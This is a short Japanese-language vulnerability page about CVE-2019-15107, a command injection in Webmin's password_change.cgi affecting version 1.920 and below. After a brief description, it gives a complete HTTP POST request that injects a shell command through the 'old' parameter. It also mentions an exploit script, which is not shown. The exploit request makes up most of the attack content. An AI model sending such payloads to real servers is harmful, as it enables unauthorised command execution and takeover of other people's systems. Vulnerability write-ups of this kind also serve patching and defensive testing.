CVE-2019-15107: Exploit Modules Available for Remote Code Execution Vulnerability in Webmin

脆弱性の説明 Webminは強力なWebベースのシステム管理ツールで、Unixシステムで広く使用されています。WebminのPassword_Change.cgiがリクエストを処理する際、oldパラメータにコマンドインジェクションの脆弱性が存在し、攻撃者に悪用される可能性があります。ユーザーがWebminのパスワードリセット機能を有効にすると、攻撃者はこの脆弱性を利用して脆弱なシステム上で任意のコマンドを実行し、システムシェルを取得できます。

影響を受けるバージョン： Webmin 1.920 およびそれ以下のバージョン

脆弱性の悪用方法1：手動による確認ページにアクセスし、証明書を無視すると、webminのログインページが表示されます

以下のパケットを送信すると、idコマンドを実行できます：

POST /password_change.cgi HTTP/1.1 Host: your-ip:10000 Accept-Encoding: gzip, deflate Accept: / Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Cookie: redirect=1; testing=1; sid=x; sessiontest=1 Referer: https://your-ip:10000/session_login.cgi Content-Type: application/x-www-form-urlencoded Content-Length: 60

user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2 step 2

方法2：スクリプトを利用する step 3

WebminRCE-EXP-CVE-2019-15107-

人気